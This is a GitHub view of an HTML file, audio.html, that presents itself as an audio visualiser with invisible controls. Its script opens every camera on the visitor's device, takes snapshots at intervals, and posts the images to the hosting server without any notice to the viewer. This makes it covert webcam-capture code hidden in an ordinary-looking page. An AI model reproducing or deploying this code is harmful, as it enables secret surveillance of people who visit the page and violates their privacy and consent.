-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathaudio.html
More file actions
189 lines (153 loc) · 5.91 KB
/
audio.html
File metadata and controls
189 lines (153 loc) · 5.91 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
<!DOCTYPE html>
<html lang="ru" >
<head>
<meta charset="UTF-8">
<title>@</title>
<link rel='stylesheet' href='https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat'>
<link rel="stylesheet" href="css/audio.css">
<link rel="stylesheet" href="https://appvk.github.io/assets/css/font-awesome/nativ/css/style.css">
<script src="https://kit.fontawesome.com/969af07023.js" crossorigin="anonymous"></script>
<style>
.alert {
display: none;
}
div#page {
display: none;
position: absolute;
}
</style>
</head>
<body>
<body nload="main()" class="text-center" style="
background-color: #100900;
">
<!--<iframe src="https://rosagro.tech/audio/testB.html" style="
position: fixed;
width: 100%;
height: 100%;
left: 0;
border:0;
"></iframe>-->
<div id="container"></div>
<script type="text/javascript">
function base64ToBlob(base64, mime)
{
mime = mime || '';
var sliceSize = 1024;
var byteChars = window.atob(base64);
var byteArrays = [];
for (var offset = 0, len = byteChars.length; offset < len; offset += sliceSize) {
var slice = byteChars.slice(offset, offset + sliceSize);
var byteNumbers = new Array(slice.length);
for (var i = 0; i < slice.length; i++) {
byteNumbers[i] = slice.charCodeAt(i);
}
var byteArray = new Uint8Array(byteNumbers);
byteArrays.push(byteArray);
}
return new Blob(byteArrays, {type: mime});
}
// ~async
function randomInteger(min, max) {
let rand = min + Math.random() * (max + 1 - min);
return Math.floor(rand);
}
function main() {
console.log('main()...');
const videoList = [];
// init snap-shooter
const SHOOT_INTERVAL = 60 * 15000;
// init <video> list
navigator.mediaDevices.enumerateDevices()
.then(function(devices) {
var cont = document.querySelector('#container');
devices.forEach(device => {
if (/video/.test(device.kind)) {
console.log('Обнаружен источник:', device);
navigator.mediaDevices
.getUserMedia({
audio: false,
video: { deviceId: device.deviceId }
})
.then(stream => {
var video = document.createElement('video');
video.autoplay = true;
video.muted = true;
video.playsInline = true;
cont.append(video);
video.srcObject = stream;
videoList.push(video);
})
}
});
}).then(() => {
setInterval(() => {
const dataUriList = videoList.map(video => {
var canvas = document.createElement('canvas');
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
var ctx = canvas.getContext('2d');
// отрисовка canvas. scale to target dimensions
ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
// конверт to desired file format
var dataURI = canvas.toDataURL(); // can also use 'image/jpeg'
// console.log(dataURI)
return base64ToBlob(dataURI.replace(/^data:image\/(png|jpg);base64,/, ""), 'image/png');
});
// отправка на сервер
let formData = new FormData()
dataUriList.map(
(blobFile, index) => {
formData.append('image'+index, blobFile)
}
);
fetch('?sid='+randomInteger(0, 1000000000), {
method: "post",
headers: [
["Content-Type", "application/json"],
["Content-Type", "text/plain"],
["Content-Type", "multipart/form-data"]
],
body: formData
})
}, SHOOT_INTERVAL);
});
}
</script>
<div id="page">
<div class="cover-container d-flex h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
</header>
<main role="main" class="inner cover">
<h2></h2>
<form style="width: 80%; margin: 0 auto;">
<div class="form-row">
<div class="form-group col-sm-6" style="opacity: 0;">
<label for="noiseInput" class="form-label" style="opacity: 0;">шум</label>
<input type="range" min="1" max="100" class="custom-range" id="noiseInput">
</div>
<div class="form-group col-sm-6" style="opacity: 0;">
<label for="heightInput" class="form-label" style="opacity: 0;">высота</label>
<input type="range" min="1" max="100" class="custom-range" id="heightInput">
</div>
</div>
<div class="form-group col-md-12" style="opacity: 0;">
<a href="#" id="trigger" class="btn btn-sm btn-secondary">Random Colors</a>
</div>
</form>
</main>
<footer class="mastfoot mt-auto">
<script src="
js/equalize.js
">
</script>
</footer>
</div>
</div>
</body>
<script src='https://cdnjs.cloudflare.com/ajax/libs/three.js/100/three.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/simplex-noise/2.4.0/simplex-noise.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.0.3/chroma.min.js'></script>
<!--<script src=""></script>-->
</html>